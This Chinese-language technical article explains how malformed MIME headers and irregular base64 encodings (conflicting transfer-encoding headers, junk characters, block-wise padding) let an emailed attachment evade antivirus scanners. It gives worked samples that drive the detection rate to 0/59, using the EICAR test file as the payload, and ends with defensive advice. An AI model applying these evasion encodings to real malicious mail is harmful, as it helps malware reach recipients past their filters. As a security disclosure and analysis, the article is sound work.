通过操控MIME让病毒邮件五步轻松过杀软
字数 1081 2025-08-29 08:32:19
利用MIME标准绕过杀毒软件检测的技术分析
1. MIME标准简介与安全缺陷
MIME(Multipurpose Internet Mail Extensions)标准用于扩展电子邮件格式,使其能够支持:
- 非ASCII字符
- 多部分消息体
- 二进制附件
安全缺陷根源:
- 标准过于复杂且灵活,导致不同实现解释不一致
- 没有明确定义错误处理方法
- 允许存在相互冲突的定义
2. 基础攻击原理
通过精心构造MIME结构,利用不同系统(杀毒软件、邮件网关、客户端等)对异常MIME处理的差异,使:
- 杀毒软件无法正确解析附件内容
- 邮件客户端仍能正常显示和打开附件
3. 五步绕过技术详解
步骤1:基础MIME构造
From: me@example.com
To: you@example.com
Subject: plain
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
Virus attached
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXRCIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIUAxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAAAAEAAQA3AAAAbQAAAAAA
--foo--
初始检测率:36/59(Virustotal)
步骤2:内容传输编码冲突
添加相互矛盾的Content-Transfer-Encoding头:
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
技术要点:
- 大多数客户端使用第一个标头,忽略后续标头
- 杀毒软件可能采用不同解析策略
检测率下降至:28/59
步骤3:Base64中插入垃圾字符
根据RFC 2045第6.8节:
- Base64解码器应忽略非字母表字符
- 但实际实现存在差异
示例:
U.E.s.D.B.B.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.A.A.A.A.J.A.A.A.A.Z.W.l.j.Y.X.I.u.Y.2.9.t.i.z.D.1.V.w.x.Q.d.X.A.M.i.D.a.J.C.Y.i.K.M.D.X.R.C.I.j.T.N.H.d.2.1.j.S.v.V.X.H.1.d.H.Y.M.0.g.0.O.c.f.R.z.c.Q.x.y.0.X.X.0.C./.E.M.8.w.w.K.D.d.Y.N.c.Q.0.O.0.X.X.z.9.H.F.V.V.P.H.Q.9.t.A.C.A.F.B.L.A.Q.I.U.A.x.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.A.A.A.A.J.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.2.g.Q.A.A.A.A.B.l.a.W.N.h.c.i.5.j.b.2.1.Q.S.w.U.G.A.A.A.A.A.A.E.A.A.Q.A.3.A.A.A.A.b.Q.A.A.A.A.A.A.
检测率下降至:17/59
步骤4:块式Base64编码
技术原理:
- 标准Base64每次编码3字节→4字符
- 故意每次只编码2字节→产生中间"="
- 部分解码器遇到"="会停止解码
示例:
UEs=AwQ=FAA=AgA=CAA=EUo=jkk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=ci4=Y28=bYs=MPU=Vww=UHU=cAw=iDY=iQk=iIo=MDU=0Qg=iNM=NHc=dtY=NK8=VXE=9XQ=dgw=0g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DAo=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=So4=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=bQA=AAA=AAA=
检测率骤降至:1/59
步骤5:块式编码+垃圾字符
组合技术:
- 块式Base64编码
- 每个块间插入垃圾字符(如点号)
示例:
UEs=.AwQ=.FAA=.AgA=.CAA=.EUo=.jkk=.PM8=.UWg=.RgA=.AAA=.RAA=.AAA=.CQA=.AAA=.ZWk=.Y2E=.ci4=.Y28=.bYs=.MPU=.Vww=.UHU=.cAw=.iDY=.iQk=.iIo=.MDU=.0Qg=.iNM=.NHc=.dtY=.NK8=.VXE=.9XQ=.dgw=.0g0=.DnE=.9HM=.cQw=.ctE=.dfQ=.C/E=.DPM=.DAo=.DdY=.DXE=.DQ4=.0XU=.8/Q=.cVU=.VPE=.0PY=.0AI=.AFA=.SwE=.AhQ=.AxQ=.AAI=.AAg=.ABE=.So4=.STw=.z1E=.aEY=.AAA=.AEQ=.AAA=.AAk=.AAA=.AAA=.AAA=.AAA=.AAA=.ALY=.gQA=.AAA=.AGU=.aWM=.YXI=.LmM=.b20=.UEs=.BQY=.AAA=.AAA=.AQA=.AQA=.NwA=.AAA=.bQA=.AAA=.AAA=.
最终检测率:0/59
4. 技术扩展与应用
其他可能的攻击变种
-
文件名混淆:
- 利用不同系统对附件文件名解析的差异
- 使用非常规字符或编码
-
MIME部分重定向:
- 使杀毒软件分析错误的MIME部分
- 客户端显示实际恶意内容
-
内容类型冲突:
- 声明多个相互矛盾的Content-Type
防御措施
-
邮件网关应:
- 实现严格的MIME解析器
- 对异常结构进行标记或拦截
- 标准化所有MIME部分后再分析
-
杀毒软件应:
- 采用与主流客户端相同的解析逻辑
- 对中间"="的Base64数据进行处理
- 实现垃圾字符过滤机制
-
组织应:
- 部署多层防御体系
- 定期更新邮件安全解决方案
- 对员工进行安全意识培训
5. 结论
通过利用MIME标准的复杂性和实现差异,攻击者可以构造出能够绕过大多数杀毒软件检测的恶意邮件。这种技术自2008年以来就已被发现,但许多安全产品仍未完全解决这些问题。防御此类攻击需要安全厂商重新审视其MIME处理逻辑,确保与主流邮件客户端的行为保持一致。